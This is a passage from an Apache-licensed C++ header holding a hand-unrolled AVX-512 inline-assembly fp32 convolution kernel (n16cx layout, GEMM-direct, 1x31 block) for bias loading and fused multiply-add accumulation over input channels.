{"text": "// Licensed to the Apache Software Foundation (ASF) under one\n// or more contributor license agreements.  See the NOTICE file\n// distributed with this work for additional information\n// regarding copyright ownership.  The ASF licenses this file\n// to you under the Apache License, Version 2.0 (the\n// \"License\"); you may not use this file except in compliance\n// with the License.  You may obtain a copy of the License at\n//\n//   http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing,\n// software distributed under the License is distributed on an\n// \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n// KIND, either express or implied.  See the License for the\n// specific language governing permissions and limitations\n// under the License.\n\n#ifndef __ST_PPL_KERNEL_X86_FP32_CONV2D_GEMM_DIRECT_AVX512_CONV2D_N16CX_GEMM_DIRECT_BLK1X31_KERNEL_FP32_AVX512_H_\n#define __ST_PPL_KERNEL_X86_FP32_CONV2D_GEMM_DIRECT_AVX512_CONV2D_N16CX_GEMM_DIRECT_BLK1X31_KERNEL_FP32_AVX512_H_\n\n#include <immintrin.h>\n\n#include \"ppl/kernel/x86/fp32/conv2d/gemm_direct/avx512/conv2d_n16cx_gemm_direct_kernel_fp32_avx512.h\"\n\nnamespace ppl { namespace kernel { namespace x86 {\n\n#ifdef PPL_USE_X86_INLINE_ASM\n\ntemplate <bool nt_store, int32_t hw_len>\nvoid conv2d_n16cx_gemm_direct_fp32_avx512_blk1x31_kernel_core(\n    const int64_t *priv_param,\n    const int64_t *shar_param)\n{\n    float six[1] = {6.0f};\n    __asm__ __volatile__ (\n        \".equ P_BYTES, 8\\n\"\n        \".equ D_BYTES, 4\\n\"\n\n        \".equ CH_DT_BLK, 16\\n\"\n\n        \".equ SRC_IDX,  (0 * P_BYTES)\\n\"\n        \".equ HIS_IDX,  (1 * P_BYTES)\\n\"\n        \".equ DST_IDX,  (2 * P_BYTES)\\n\"\n        \".equ FLT_IDX,  (3 * P_BYTES)\\n\"\n        \".equ BIAS_IDX, (4 * P_BYTES)\\n\"\n        \".equ HW_IDX,   (5 * P_BYTES)\\n\"\n\n        \".equ CHANNELS_IDX, (0 * P_BYTES)\\n\"\n        \".equ SRC_ICB_STRIDE_IDX, (1 * P_BYTES)\\n\"\n        \".equ HIS_OCB_STRIDE_IDX, (2 * P_BYTES)\\n\"\n        \".equ DST_OCB_STRIDE_IDX, (3 * P_BYTES)\\n\"\n        \".equ FLT_OCB_STRIDE_IDX, (4 * P_BYTES)\\n\"\n        \".equ FLAGS_IDX, (5 * P_BYTES)\\n\"\n\n        \".equ NT_STORE, %c[NT_STORE]\\n\"\n        \".equ HW_LEN, %c[HW_LEN]\\n\"\n        \".equ KERNEL_FLAG_LD_BIAS, %c[KERNEL_FLAG_LD_BIAS]\\n\"\n        \".equ KERNEL_FLAG_AD_BIAS, %c[KERNEL_FLAG_AD_BIAS]\\n\"\n        \".equ KERNEL_FLAG_RELU, %c[KERNEL_FLAG_RELU]\\n\"\n        \".equ KERNEL_FLAG_RELU6, %c[KERNEL_FLAG_RELU6]\\n\"\n\n        \"mov SRC_ICB_STRIDE_IDX(%[shar_param]), %%r8\\n\"\n        \"mov FLAGS_IDX(%[shar_param]), %%r11\\n\"\n        \"mov SRC_IDX(%[priv_param]), %%r12\\n\"\n        \"mov HIS_IDX(%[priv_param]), %%r13\\n\"\n        \"mov DST_IDX(%[priv_param]), %%r14\\n\"\n        \"mov HW_IDX(%[priv_param]), %%r15\\n\"\n\"1:\\n\" // label_init_session\n        \"test $KERNEL_FLAG_LD_BIAS, %%r11\\n\"\n        \"jz 2f\\n\" // label_load_h\n        \"mov BIAS_IDX(%[priv_param]), %%r10\\n\"\n        \".if HW_LEN > 0\\n vmovups (0 * CH_DT_BLK * D_BYTES)(%%r10), %%zmm0\\n .endif\\n\"\n        \".if HW_LEN > 1\\n vmovaps %%zmm0, %%zmm1\\n .endif\\n\"\n        \".if HW_LEN > 2\\n vmovaps %%zmm0, %%zmm2\\n .endif\\n\"\n        \".if HW_LEN > 3\\n vmovaps %%zmm0, %%zmm3\\n .endif\\n\"\n        \".if HW_LEN > 4\\n vmovaps %%zmm0, %%zmm4\\n .endif\\n\"\n        \".if HW_LEN > 5\\n vmovaps %%zmm0, %%zmm5\\n .endif\\n\"\n        \".if HW_LEN > 6\\n vmovaps %%zmm0, %%zmm6\\n .endif\\n\"\n        \".if HW_LEN > 7\\n vmovaps %%zmm0, %%zmm7\\n .endif\\n\"\n        \".if HW_LEN > 8\\n vmovaps %%zmm0, %%zmm8\\n .endif\\n\"\n        \".if HW_LEN > 9\\n vmovaps %%zmm0, %%zmm9\\n .endif\\n\"\n        \".if HW_LEN > 10\\n vmovaps %%zmm0, %%zmm10\\n .endif\\n\"\n        \".if HW_LEN > 11\\n vmovaps %%zmm0, %%zmm11\\n .endif\\n\"\n        \".if HW_LEN > 12\\n vmovaps %%zmm0, %%zmm12\\n .endif\\n\"\n        \".if HW_LEN > 13\\n vmovaps %%zmm0, %%zmm13\\n .endif\\n\"\n        \".if HW_LEN > 14\\n vmovaps %%zmm0, %%zmm14\\n .endif\\n\"\n        \".if HW_LEN > 15\\n vmovaps %%zmm0, %%zmm15\\n .endif\\n\"\n        \".if HW_LEN > 16\\n vmovaps %%zmm0, %%zmm16\\n .endif\\n\"\n        \".if HW_LEN > 17\\n vmovaps %%zmm0, %%zmm17\\n .endif\\n\"\n        \".if HW_LEN > 18\\n vmovaps %%zmm0, %%zmm18\\n .endif\\n\"\n        \".if HW_LEN > 19\\n vmovaps %%zmm0, %%zmm19\\n .endif\\n\"\n        \".if HW_LEN > 20\\n vmovaps %%zmm0, %%zmm20\\n .endif\\n\"\n        \".if HW_LEN > 21\\n vmovaps %%zmm0, %%zmm21\\n .endif\\n\"\n        \".if HW_LEN > 22\\n vmovaps %%zmm0, %%zmm22\\n .endif\\n\"\n        \".if HW_LEN > 23\\n vmovaps %%zmm0, %%zmm23\\n .endif\\n\"\n        \".if HW_LEN > 24\\n vmovaps %%zmm0, %%zmm24\\n .endif\\n\"\n        \".if HW_LEN > 25\\n vmovaps %%zmm0, %%zmm25\\n .endif\\n\"\n        \".if HW_LEN > 26\\n vmovaps %%zmm0, %%zmm26\\n .endif\\n\"\n        \".if HW_LEN > 27\\n vmovaps %%zmm0, %%zmm27\\n .endif\\n\"\n        \".if HW_LEN > 28\\n vmovaps %%zmm0, %%zmm28\\n .endif\\n\"\n        \".if HW_LEN > 29\\n vmovaps %%zmm0, %%zmm29\\n .endif\\n\"\n        \".if HW_LEN > 30\\n vmovaps %%zmm0, %%zmm30\\n .endif\\n\"\n        \"jmp 3f\\n\" // label_load_h_end\n\"2:\\n\" // label_load_h\n        \".if HW_LEN > 0\\n vmovups (0 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm0\\n .endif\\n\"\n        \".if HW_LEN > 1\\n vmovups (1 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm1\\n .endif\\n\"\n        \".if HW_LEN > 2\\n vmovups (2 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm2\\n .endif\\n\"\n        \".if HW_LEN > 3\\n vmovups (3 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm3\\n .endif\\n\"\n        \".if HW_LEN > 4\\n vmovups (4 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm4\\n .endif\\n\"\n        \".if HW_LEN > 5\\n vmovups (5 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm5\\n .endif\\n\"\n        \".if HW_LEN > 6\\n vmovups (6 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm6\\n .endif\\n\"\n        \".if HW_LEN > 7\\n vmovups (7 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm7\\n .endif\\n\"\n        \".if HW_LEN > 8\\n vmovups (8 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm8\\n .endif\\n\"\n        \".if HW_LEN > 9\\n vmovups (9 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm9\\n .endif\\n\"\n        \".if HW_LEN > 10\\n vmovups (10 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm10\\n .endif\\n\"\n        \".if HW_LEN > 11\\n vmovups (11 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm11\\n .endif\\n\"\n        \".if HW_LEN > 12\\n vmovups (12 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm12\\n .endif\\n\"\n        \".if HW_LEN > 13\\n vmovups (13 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm13\\n .endif\\n\"\n        \".if HW_LEN > 14\\n vmovups (14 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm14\\n .endif\\n\"\n        \".if HW_LEN > 15\\n vmovups (15 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm15\\n .endif\\n\"\n        \".if HW_LEN > 16\\n vmovups (16 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm16\\n .endif\\n\"\n        \".if HW_LEN > 17\\n vmovups (17 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm17\\n .endif\\n\"\n        \".if HW_LEN > 18\\n vmovups (18 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm18\\n .endif\\n\"\n        \".if HW_LEN > 19\\n vmovups (19 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm19\\n .endif\\n\"\n        \".if HW_LEN > 20\\n vmovups (20 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm20\\n .endif\\n\"\n        \".if HW_LEN > 21\\n vmovups (21 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm21\\n .endif\\n\"\n        \".if HW_LEN > 22\\n vmovups (22 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm22\\n .endif\\n\"\n        \".if HW_LEN > 23\\n vmovups (23 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm23\\n .endif\\n\"\n        \".if HW_LEN > 24\\n vmovups (24 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm24\\n .endif\\n\"\n        \".if HW_LEN > 25\\n vmovups (25 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm25\\n .endif\\n\"\n        \".if HW_LEN > 26\\n vmovups (26 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm26\\n .endif\\n\"\n        \".if HW_LEN > 27\\n vmovups (27 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm27\\n .endif\\n\"\n        \".if HW_LEN > 28\\n vmovups (28 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm28\\n .endif\\n\"\n        \".if HW_LEN > 29\\n vmovups (29 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm29\\n .endif\\n\"\n        \".if HW_LEN > 30\\n vmovups (30 * CH_DT_BLK * D_BYTES)(%%r13), %%zmm30\\n .endif\\n\"\n\"3:\\n\" // label_load_h_end\n        \"test $KERNEL_FLAG_AD_BIAS, %%r11\\n\"\n        \"jz 4f\\n\" // label_compute_session\n        \"mov BIAS_IDX(%[priv_param]), %%r10\\n\"\n        \"vmovups (0 * CH_DT_BLK * D_BYTES)(%%r10), %%zmm31\\n\"\n        \".if HW_LEN > 0\\n vaddps %%zmm31, %%zmm0, %%zmm0\\n .endif\\n\"\n        \".if HW_LEN > 1\\n vaddps %%zmm31, %%zmm1, %%zmm1\\n .endif\\n\"\n        \".if HW_LEN > 2\\n vaddps %%zmm31, %%zmm2, %%zmm2\\n .endif\\n\"\n        \".if HW_LEN > 3\\n vaddps %%zmm31, %%zmm3, %%zmm3\\n .endif\\n\"\n        \".if HW_LEN > 4\\n vaddps %%zmm31, %%zmm4, %%zmm4\\n .endif\\n\"\n        \".if HW_LEN > 5\\n vaddps %%zmm31, %%zmm5, %%zmm5\\n .endif\\n\"\n        \".if HW_LEN > 6\\n vaddps %%zmm31, %%zmm6, %%zmm6\\n .endif\\n\"\n        \".if HW_LEN > 7\\n vaddps %%zmm31, %%zmm7, %%zmm7\\n .endif\\n\"\n        \".if HW_LEN > 8\\n vaddps %%zmm31, %%zmm8, %%zmm8\\n .endif\\n\"\n        \".if HW_LEN > 9\\n vaddps %%zmm31, %%zmm9, %%zmm9\\n .endif\\n\"\n        \".if HW_LEN > 10\\n vaddps %%zmm31, %%zmm10, %%zmm10\\n .endif\\n\"\n        \".if HW_LEN > 11\\n vaddps %%zmm31, %%zmm11, %%zmm11\\n .endif\\n\"\n        \".if HW_LEN > 12\\n vaddps %%zmm31, %%zmm12, %%zmm12\\n .endif\\n\"\n        \".if HW_LEN > 13\\n vaddps %%zmm31, %%zmm13, %%zmm13\\n .endif\\n\"\n        \".if HW_LEN > 14\\n vaddps %%zmm31, %%zmm14, %%zmm14\\n .endif\\n\"\n        \".if HW_LEN > 15\\n vaddps %%zmm31, %%zmm15, %%zmm15\\n .endif\\n\"\n        \".if HW_LEN > 16\\n vaddps %%zmm31, %%zmm16, %%zmm16\\n .endif\\n\"\n        \".if HW_LEN > 17\\n vaddps %%zmm31, %%zmm17, %%zmm17\\n .endif\\n\"\n        \".if HW_LEN > 18\\n vaddps %%zmm31, %%zmm18, %%zmm18\\n .endif\\n\"\n        \".if HW_LEN > 19\\n vaddps %%zmm31, %%zmm19, %%zmm19\\n .endif\\n\"\n        \".if HW_LEN > 20\\n vaddps %%zmm31, %%zmm20, %%zmm20\\n .endif\\n\"\n        \".if HW_LEN > 21\\n vaddps %%zmm31, %%zmm21, %%zmm21\\n .endif\\n\"\n        \".if HW_LEN > 22\\n vaddps %%zmm31, %%zmm22, %%zmm22\\n .endif\\n\"\n        \".if HW_LEN > 23\\n vaddps %%zmm31, %%zmm23, %%zmm23\\n .endif\\n\"\n        \".if HW_LEN > 24\\n vaddps %%zmm31, %%zmm24, %%zmm24\\n .endif\\n\"\n        \".if HW_LEN > 25\\n vaddps %%zmm31, %%zmm25, %%zmm25\\n .endif\\n\"\n        \".if HW_LEN > 26\\n vaddps %%zmm31, %%zmm26, %%zmm26\\n .endif\\n\"\n        \".if HW_LEN > 27\\n vaddps %%zmm31, %%zmm27, %%zmm27\\n .endif\\n\"\n        \".if HW_LEN > 28\\n vaddps %%zmm31, %%zmm28, %%zmm28\\n .endif\\n\"\n        \".if HW_LEN > 29\\n vaddps %%zmm31, %%zmm29, %%zmm29\\n .endif\\n\"\n        \".if HW_LEN > 30\\n vaddps %%zmm31, %%zmm30, %%zmm30\\n .endif\\n\"\n\n\"4:\\n\" // label_compute_session\n        \"mov %%r12, %%rax\\n\"\n        \"mov FLT_IDX(%[priv_param]), %%rbx\\n\"\n        \"mov CHANNELS_IDX(%[shar_param]), %%r10\\n\"\n        \"cmp $CH_DT_BLK, %%r10\\n\"\n        \"jl 6f\\n\" // label_ic_remain\n\"5:\\n\" // label_ic_body\n        \".align 16\\n\"\n        \".if HW_LEN < 9\\n\"\n        \".irp IC,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15\\n\"\n        \"vmovups (\\\\IC * CH_DT_BLK * D_BYTES)(%%rbx), %%zmm31\\n\"\n        \".if HW_LEN > 7\\n prefetcht0 ((\\\\IC * CH_DT_BLK + CH_DT_BLK * CH_DT_BLK) * D_BYTES)(%%rbx)\\n .endif\\n\"\n        \".if HW_LEN > 0\\n vfmadd231ps ((\\\\IC + 0 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm0\\n .endif\\n\"\n        \".if HW_LEN > 1\\n vfmadd231ps ((\\\\IC + 1 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm1\\n .endif\\n\"\n        \".if HW_LEN > 2\\n vfmadd231ps ((\\\\IC + 2 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm2\\n .endif\\n\"\n        \".if HW_LEN > 3\\n vfmadd231ps ((\\\\IC + 3 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm3\\n .endif\\n\"\n        \".if HW_LEN > 4\\n vfmadd231ps ((\\\\IC + 4 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm4\\n .endif\\n\"\n        \".if HW_LEN > 5\\n vfmadd231ps ((\\\\IC + 5 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm5\\n .endif\\n\"\n        \".if HW_LEN > 6\\n vfmadd231ps ((\\\\IC + 6 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm6\\n .endif\\n\"\n        \".if HW_LEN > 7\\n vfmadd231ps ((\\\\IC + 7 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm7\\n .endif\\n\"\n        \".if HW_LEN > 8\\n vfmadd231ps ((\\\\IC + 8 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm8\\n .endif\\n\"\n        \".if HW_LEN > 9\\n vfmadd231ps ((\\\\IC + 9 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm9\\n .endif\\n\"\n        \".if HW_LEN > 10\\n vfmadd231ps ((\\\\IC + 10 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm10\\n .endif\\n\"\n        \".if HW_LEN > 11\\n vfmadd231ps ((\\\\IC + 11 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm11\\n .endif\\n\"\n        \".if HW_LEN > 12\\n vfmadd231ps ((\\\\IC + 12 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm12\\n .endif\\n\"\n        \".if HW_LEN > 13\\n vfmadd231ps ((\\\\IC + 13 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm13\\n .endif\\n\"\n        \".if HW_LEN > 14\\n vfmadd231ps ((\\\\IC + 14 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm14\\n .endif\\n\"\n        \".if HW_LEN > 15\\n vfmadd231ps ((\\\\IC + 15 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm15\\n .endif\\n\"\n        \".if HW_LEN > 16\\n vfmadd231ps ((\\\\IC + 16 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm16\\n .endif\\n\"\n        \".if HW_LEN > 17\\n vfmadd231ps ((\\\\IC + 17 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm17\\n .endif\\n\"\n        \".if HW_LEN > 18\\n vfmadd231ps ((\\\\IC + 18 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm18\\n .endif\\n\"\n        \".if HW_LEN > 19\\n vfmadd231ps ((\\\\IC + 19 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm19\\n .endif\\n\"\n        \".if HW_LEN > 20\\n vfmadd231ps ((\\\\IC + 20 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm20\\n .endif\\n\"\n        \".if HW_LEN > 21\\n vfmadd231ps ((\\\\IC + 21 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm21\\n .endif\\n\"\n        \".if HW_LEN > 22\\n vfmadd231ps ((\\\\IC + 22 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm22\\n .endif\\n\"\n        \".if HW_LEN > 23\\n vfmadd231ps ((\\\\IC + 23 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm23\\n .endif\\n\"\n        \".if HW_LEN > 24\\n vfmadd231ps ((\\\\IC + 24 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm24\\n .endif\\n\"\n        \".if HW_LEN > 25\\n vfmadd231ps ((\\\\IC + 25 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm25\\n .endif\\n\"\n        \".if HW_LEN > 26\\n vfmadd231ps ((\\\\IC + 26 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm26\\n .endif\\n\"\n        \".if HW_LEN > 27\\n vfmadd231ps ((\\\\IC + 27 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm27\\n .endif\\n\"\n        \".if HW_LEN > 28\\n vfmadd231ps ((\\\\IC + 28 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm28\\n .endif\\n\"\n        \".if HW_LEN > 29\\n vfmadd231ps ((\\\\IC + 29 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm29\\n .endif\\n\"\n        \".if HW_LEN > 30\\n vfmadd231ps ((\\\\IC + 30 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm30\\n .endif\\n\"\n        \".endr\\n\"\n        \"lea (CH_DT_BLK * CH_DT_BLK * D_BYTES)(%%rbx), %%rbx\\n\"\n        \"lea (%%rax, %%r8, D_BYTES), %%rax\\n\"\n        \".else\\n\" // .if HW_LEN < 9\n        \"mov $CH_DT_BLK, %%r9\\n\"\n\"9:\\n\" // label_ic\n        \"vmovups (0 * CH_DT_BLK * D_BYTES)(%%rbx), %%zmm31\\n\"\n        \"prefetcht0 ((0 * CH_DT_BLK + CH_DT_BLK * CH_DT_BLK) * D_BYTES)(%%rbx)\\n\"\n        \"lea (CH_DT_BLK * D_BYTES)(%%rbx), %%rbx\\n\"\n        \".if HW_LEN > 0\\n vfmadd231ps ((0 + 0 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm0\\n .endif\\n\"\n        \".if HW_LEN > 1\\n vfmadd231ps ((0 + 1 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm1\\n .endif\\n\"\n        \".if HW_LEN > 2\\n vfmadd231ps ((0 + 2 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm2\\n .endif\\n\"\n        \".if HW_LEN > 3\\n vfmadd231ps ((0 + 3 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm3\\n .endif\\n\"\n        \".if HW_LEN > 4\\n vfmadd231ps ((0 + 4 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm4\\n .endif\\n\"\n        \".if HW_LEN > 5\\n vfmadd231ps ((0 + 5 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm5\\n .endif\\n\"\n        \".if HW_LEN > 6\\n vfmadd231ps ((0 + 6 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm6\\n .endif\\n\"\n        \".if HW_LEN > 7\\n vfmadd231ps ((0 + 7 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm7\\n .endif\\n\"\n        \".if HW_LEN > 8\\n vfmadd231ps ((0 + 8 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm8\\n .endif\\n\"\n        \".if HW_LEN > 9\\n vfmadd231ps ((0 + 9 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm9\\n .endif\\n\"\n        \".if HW_LEN > 10\\n vfmadd231ps ((0 + 10 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm10\\n .endif\\n\"\n        \".if HW_LEN > 11\\n vfmadd231ps ((0 + 11 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm11\\n .endif\\n\"\n        \".if HW_LEN > 12\\n vfmadd231ps ((0 + 12 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm12\\n .endif\\n\"\n        \".if HW_LEN > 13\\n vfmadd231ps ((0 + 13 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm13\\n .endif\\n\"\n        \".if HW_LEN > 14\\n vfmadd231ps ((0 + 14 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm14\\n .endif\\n\"\n        \".if HW_LEN > 15\\n vfmadd231ps ((0 + 15 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm15\\n .endif\\n\"\n        \".if HW_LEN > 16\\n vfmadd231ps ((0 + 16 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm16\\n .endif\\n\"\n        \".if HW_LEN > 17\\n vfmadd231ps ((0 + 17 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm17\\n .endif\\n\"\n        \".if HW_LEN > 18\\n vfmadd231ps ((0 + 18 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm18\\n .endif\\n\"\n        \".if HW_LEN > 19\\n vfmadd231ps ((0 + 19 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm19\\n .endif\\n\"\n        \".if HW_LEN > 20\\n vfmadd231ps ((0 + 20 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm20\\n .endif\\n\"\n        \".if HW_LEN > 21\\n vfmadd231ps ((0 + 21 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm21\\n .endif\\n\"\n        \".if HW_LEN > 22\\n vfmadd231ps ((0 + 22 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm22\\n .endif\\n\"\n        \".if HW_LEN > 23\\n vfmadd231ps ((0 + 23 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm23\\n .endif\\n\"\n        \".if HW_LEN > 24\\n vfmadd231ps ((0 + 24 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm24\\n .endif\\n\"\n        \".if HW_LEN > 25\\n vfmadd231ps ((0 + 25 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm25\\n .endif\\n\"\n        \".if HW_LEN > 26\\n vfmadd231ps ((0 + 26 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm26\\n .endif\\n\"\n        \".if HW_LEN > 27\\n vfmadd231ps ((0 + 27 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm27\\n .endif\\n\"\n        \".if HW_LEN > 28\\n vfmadd231ps ((0 + 28 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm28\\n .endif\\n\"\n        \".if HW_LEN > 29\\n vfmadd231ps ((0 + 29 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm29\\n .endif\\n\"\n        \".if HW_LEN > 30\\n vfmadd231ps ((0 + 30 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm30\\n .endif\\n\"\n        \"lea D_BYTES(%%rax), %%rax\\n\"\n        \"sub $1, %%r9\\n\"\n        \"cmp $0, %%r9\\n\"\n        \"jne 9b\\n\" // label_ic\n        \"lea (-CH_DT_BLK * D_BYTES)(%%rax, %%r8, D_BYTES), %%rax\\n\"\n        \".endif\\n\" // .if HW_LEN < 9\n        \"sub $CH_DT_BLK, %%r10\\n\"\n        \"cmp $CH_DT_BLK, %%r10\\n\"\n        \"jge 5b\\n\"// label_ic_body\n        \"cmp $0, %%r10\\n\"\n        \"je 7f\\n\" // label_finalize_session\n\"6:\\n\" // label_ic_remain\n        \"vmovups (0 * CH_DT_BLK * D_BYTES)(%%rbx), %%zmm31\\n\"\n        \"lea (CH_DT_BLK * D_BYTES)(%%rbx), %%rbx\\n\"\n        \".if HW_LEN > 0\\n vfmadd231ps ((0 + 0 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm0\\n .endif\\n\"\n        \".if HW_LEN > 1\\n vfmadd231ps ((0 + 1 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm1\\n .endif\\n\"\n        \".if HW_LEN > 2\\n vfmadd231ps ((0 + 2 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm2\\n .endif\\n\"\n        \".if HW_LEN > 3\\n vfmadd231ps ((0 + 3 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm3\\n .endif\\n\"\n        \".if HW_LEN > 4\\n vfmadd231ps ((0 + 4 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm4\\n .endif\\n\"\n        \".if HW_LEN > 5\\n vfmadd231ps ((0 + 5 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm5\\n .endif\\n\"\n        \".if HW_LEN > 6\\n vfmadd231ps ((0 + 6 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm6\\n .endif\\n\"\n        \".if HW_LEN > 7\\n vfmadd231ps ((0 + 7 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm7\\n .endif\\n\"\n        \".if HW_LEN > 8\\n vfmadd231ps ((0 + 8 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm8\\n .endif\\n\"\n        \".if HW_LEN > 9\\n vfmadd231ps ((0 + 9 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm9\\n .endif\\n\"\n        \".if HW_LEN > 10\\n vfmadd231ps ((0 + 10 * CH_DT_BLK) * D_BYTES)(%%rax)%{1to16}, %%zmm31, %%zmm10\\n .endif\\n\"\n        \".if HW_LEN > 